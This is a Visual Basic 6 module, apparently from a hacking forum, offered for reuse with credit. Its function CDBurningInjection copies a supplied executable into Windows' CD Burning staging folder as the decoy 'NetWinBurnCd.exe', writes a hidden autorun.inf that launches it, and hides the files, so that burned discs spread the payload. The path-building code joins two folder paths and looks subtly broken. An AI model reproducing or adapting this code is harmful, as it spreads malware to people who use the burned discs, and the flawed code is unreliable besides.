کد:
'Coder: f0rce
'Give Credits if you use this code
Public Type SHITEMID
cb As Long
abID As Byte
End Type
Public Type ITEMIDLIST
mkid As SHITEMID
End Type
Public Declare Function SHGetSpecialFolderLocation Lib "shell32.dll" ( _
ByVal hwndOwner As Long, _
ByVal nFolder As Long, _
pidl As ITEMIDLIST) As Long
Public Declare Function SHGetPathFromIDList Lib "shell32.dll" _
Alias "SHGetPathFromIDListA" ( _
ByVal pidl As Long, _
ByVal pszPath As String) As Long
Public Function CDBurningInjection(FilePath As String) As String
Dim Pfad_File As String
Dim Ziel_File As String
Dim Pfad_Data As String
Ziel_File = GetMyDocuments & GetLocalSettingsandAppData & "\Microsoft\CD Burning"
Pfad_File = GetMyDocuments & GetLocalSettingsandAppData & "\Microsoft\CD Burning\NetWinBurnCd.exe"
If FileExists(Pfad_File) = False Then
Call FileCopy(FilePath, Ziel_File)
Else
SetAttr Pfad_File, vbHidden
End If
Pfad_Data = GetMyDocuments & GetLocalSettingsandAppData & "\Microsoft\CD Burning\autorun.inf"
Open Pfad_Data For Binary As #1
Put #1, , "open=NetWinBurnCd.exe"
Close #1
SetAttr Pfad_Data, vbHidden
End Function
Public Function GetMyDocuments() As String
Dim lResult As Long
Dim IDL As ITEMIDLIST
Dim sPath As String
lResult = SHGetSpecialFolderLocation(100, &H5, IDL)
If lResult = 0 Then
sPath = Space$(512)
lResult = SHGetPathFromIDList(ByVal IDL.mkid.cb, _
ByVal sPath)
GetMyDocuments = Left$(sPath, InStr(sPath, _
Chr$(0)) - 1)
End If
End Function
Public Function GetLocalSettingsandAppData() As String
Dim lResult As Long
Dim IDL As ITEMIDLIST
Dim sPath As String
lResult = SHGetSpecialFolderLocation(100, &H1C, IDL)
If lResult = 0 Then
sPath = Space$(512)
lResult = SHGetPathFromIDList(ByVal IDL.mkid.cb, _
ByVal sPath)
GetLocalSettingsandAppData = Left$(sPath, InStr(sPath, _
Chr$(0)) - 1)
End If
End Function